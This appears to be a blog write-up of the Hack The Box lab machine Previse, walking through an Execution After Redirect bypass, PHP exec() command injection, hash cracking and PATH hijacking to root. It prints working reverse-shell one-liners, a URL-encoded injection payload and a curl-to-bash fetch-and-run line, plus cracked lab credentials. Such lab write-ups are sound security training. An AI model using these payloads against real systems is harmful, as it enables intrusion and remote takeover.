Previse is an easy Linux box created by m4lwhere on Hack The Box. It was released on the 7th Aug 2021 but I’m going to hack it today. Hello world, welcome to haxez, where I will I’m going to explain how I hacked Previse. It is recommended that you have basic web exploitation skills, basic password cracking skills and, basic Linux privilege escalation skills. We will learn Execution After Redirect (EAR) abuse, abusing PHP exec() function, hash cracking with Unicode salt and PATH hijacking.
Previse Enumeration
After spawning the box, I sent a ping request to ensure it was online. Following that, I performed a Nmap scan against all ports, requesting service versions and running default scripts. As a result, I learnt that ports 22 for SSH and ports 80 for HTTP were open. Looking at the results I could see that the box’s OS was Ubuntu and that the Apache version was 2.4.29. There was no httponly flag set on the PHPSESSID cookie so It could be stolen with XSS. However, I don’t think that’s part of the box, it’s just an observation.
┌──(kali㉿kali)-[~/HTB/Previse]
└─$ sudo nmap -sC -sV -p- 10.129.95.185 --min-rate 10000 -oA previse
Previse Web Application Enumeration
Since SSH was unlikely to be the attack vector, I visited the web application. Upon visiting the application there was a login form but not much else. I tried to log in with a few different sets of credentials but didn’t have much luck. Next, I ran some automated scans with Nikto and whatweb but didn’t learn much that I could use.
Following the Nikto and whatweb scans, I ran gobuster to try and discover any sensitive content. The output of the gobuster scans shows some interesting behaviours. When getting redirected (whether a 301 or a 302), the size of the content changes depending on where you’re being redirected to or from.
┌──(kali㉿kali)-[~/HTB/Previse]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out
Execute After Redirect
The inconsistent file size on the redirects is being caused by a vulnerability known as an EAR or Execute After Redirect vulnerability. To illustrate, I have captured a request to the root of the application. Usually, one would expect to see a 200 response code and for the index.html or index.php page to load. However, this application attempts to redirect the visitor to the login.php page which produces the 301 or 302 response code. While this isn’t that unusual, the inconsistent redirect file size is. This suggests that content is being loaded during the redirection. As you can see below, the application shows me as being logged in before redirecting me to the login page.
As you can imagine, this is a big information disclosure problem. I can now visit any page I like and retrieve sensitive information that would otherwise be protected by authentication. For instance, if I try visit the accounts.php page that gobuster discovered, I will be redirected to the login page. However, if I go to my Burp history, I can see the accounts page before the redirection takes place.
Exploiting Execute After Redirect
Information disclosure is great but I can now abuse the EAR vulnerability to change the behaviour of the application. First, I turned intercept on and made a request to /accounts.php in the browser. Next, I told Burp to intercept responses from the server.
After sending the request, I received the redirection page. I change the response code from 302 to 200 so that the redirection never takes place. Finally, I forwarded the request and the accounts page loaded in the browser. I feel like I’m Doctor Strange changing the universe so that nobody knows who Spiderman is.
With the accounts.php loaded in the browser, I attempted to create a new user called haxez with the password of password. I clicked the create user button and as you can see from the Burp screenshot below, the user was successfully created.
I was then able to log in as the newly created user. This is some mysterious witches’ and wizards’ dark arts time stop magic! This is why I have a huge amount of respect and admiration for good web application hackers. There are so many technologies and quirks to those technologies that they must have studied for a lifetime to be good. Web-hacking witches and wizards, I salute you and you’re magic.
Further Enumeration
After logging in to the application, I started poking around. I noticed the files page and saw that it had a backup file of the application. Nmap identified that the webserver was apache, and whatweb identified that the site was written in PHP. Since the site has an authentication mechanism, I can assume that it has a backend database. Furthermore, I can also assume that the site backup may contain the configuration file that allows the application to connect to that database.
I downloaded the files and sure enough, there was a config.php file which contained credentials for the database. The username was root and the password was mySQL_p@ssw0rd!: Immediately, I tried to SSH to the box with the credentials (call me an optimist) but they didn’t work. However, they could come in handy later so I kept them safe.
Previse Foothold
I performed a grep on all files to search for all instances of ‘$_’ as this would show user interactable variables. One of the last lines in the results shows that the file logs.php contains the PHP exec function. The PHP documentation for this function explains that it can be used to execute external programs. Currently, the function is being used to execute a Python script which stores the results in the $output variable. However, I should be able to escape this using a semicolon and execute my own command.
I visited logs.php and submitted the request. Next, I went to my Burp HTTP history to find the request and forwarded it to the repeater. Following that, I set up my netcat listener on port 9001. Finally, added my reverse shell to the request, URL enoded it and sent it. I received a reverse shell back and was able to run whoami, but then it died. This kept happening after every command.
delim=comma%3b+bash+-c+'bash+-t+>%26+/dev/tcp/10.10.14.36/9001+0>%261'
Not knowing why this was happening, I threw a bash script together and hosted it using a Python webserver. Then I modified the original request to curl the file from my host and execute it using bash. The reverse shell was now much more stable.
┌──(kali㉿kali)-[~/HTB/Previse]
└─$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/1337 0>&1
delim=comma%3b+curl+http%3a//10.10.14.36/shell.sh|bash
I upgraded my shell but was unable to capture the user flag.
Previse Authenticated Host Enumeration
First, I ran socket stats to see what services were listening. As you can see, MySQL was listening on port 3306 and I already had the credentials to access it.
I logged in to MySQL as the root user and then used the show databases command. From the results, I learnt that there was a database named precise. Furthermore, telling MySQL to use that database and then running the show tables command revealed that there was an accounts table. Finally, I asked MySQL to dump the contents of that table which gave me the hashes for the Previse web application users.
www-data@previse:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: mySQL_p@ssw0rd!:)
mysql> show databases;
mysql> use previse;
mysql> show tables;
mysql> select * from accounts;
However, it seems that the creator of this box likes to troll a bit and has included an emoji for salt in the password hash. Fortunately, MySQL can output the contents of a table to base64 which should make it easier to process.
mysql> select TO_BASE64(password) from accounts where id = 1;
select TO_BASE64(password) from accounts where id = 1;
+--------------------------------------------------+
| TO_BASE64(password) |
+--------------------------------------------------+
| JDEk8J+ngmxsb2wkRFFwbWR2bmI3RWV1TzZVYXFSSXRmLg== |
+--------------------------------------------------+
1 row in set (0.00 sec)
I copied the base64 encoded data to my localhost and then echoed and piped it to base64 to decode it before appending it to a file called hash.txt
Previse Lateral Movement
As I had now obtained a password hash for the m4lwhere user, I fed it to hashcat to see if I could crack it. Hashcat successfully cracked the hash and revealed that the password was ilovecody112235!
┌──(kali㉿kali)-[~/HTB/Previse]
└─$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
After cracking the hash, I successfully switched users to the m4lwhere user and was able to capture the user flag.
www-data@previse:/var/www/html$ su - m4lwhere
su - m4lwhere
Password: ilovecody112235!
m4lwhere@previse:~$ pwd
pwd
/home/m4lwhere
m4lwhere@previse:~$ cat user.txt
cat user.txt
007▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓5fc
I could also now log in as the m4lwhere user via SSH using password authentication.
Previse Privilege Escalation
Once logged in via SSH, I ran the sudo -l command to see if I had sudo and if so, what I could do with it. The output showed that could run a backup script but the output didn’t look right. For example, if I compare the output of sudo -l from my local machine to the output on the target host, the target host is missing the paths.
┌──(kali㉿kali)-[~]
└─$ sudo -l
[sudo] password for kali:
Matching Defaults entries for kali on kali:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User kali may run the following commands on kali:
(ALL : ALL) ALL
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
I checked the contents of the backup script to see what it was doing. In short, the script was using gzip to compress log files and save them to the /var/backups directory. However, it wasn’t calling gzip using an absolute path. Therefore, I should be able to create my own gzip file and then change my PATH environmental variable so that the script executes my gzip as root.
First, I changed the directory to /tmp and created my gzip file. The new gzip file creates a reverse shell back to my box on port 9003. I then gave it executable permissions
m4lwhere@previse:/tmp$ cat gzip
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/9003 0>&1
m4lwhere@previse:/tmp$ chmod +x gzip
Next, I changed my PATH environmental variable to point to /tmp. However, I buggered this up a bit and couldn’t run other commands until I fixed it. I didn’t include the rest of the binary paths. Fortunately, I was able to set it again with the rest of the paths.
m4lwhere@previse:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Finally, I set up a netcat listener on my box and then executed the /opt/scripts/access_backup.sh script as sudo which sent a reverse shell back to my box and allowed me to capture the root flag.
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9003
[sudo] password for kali:
listening on [any] 9003 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.95.185] 52792
root@previse:/tmp# cat /root/root.txt
cat /root/root.txt
97f▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓10a
Previse Learnings
This was a great box and probably one of my favourites now. I learnt about a web vulnerability that I hadn’t heard of before. Exploiting that vulnerability felt like I was uncovering some secret ancient forbidden magic. Furthermore, I didn’t know you could just change the status code on a whim to change behaviour but of course, you can.
I enjoyed enumerating the box once I had established a foothold. It was running services that I’m fairly familiar with and comfortable using. I always feel out of my depth when I get on a box and hardly recognise anything. The privilege escalation was fun and allowed me to practise and refine my existing skills. Overall, this was an enjoyable box which taught me something new and allowed me to practise on technologies I’m familiar with, perfect!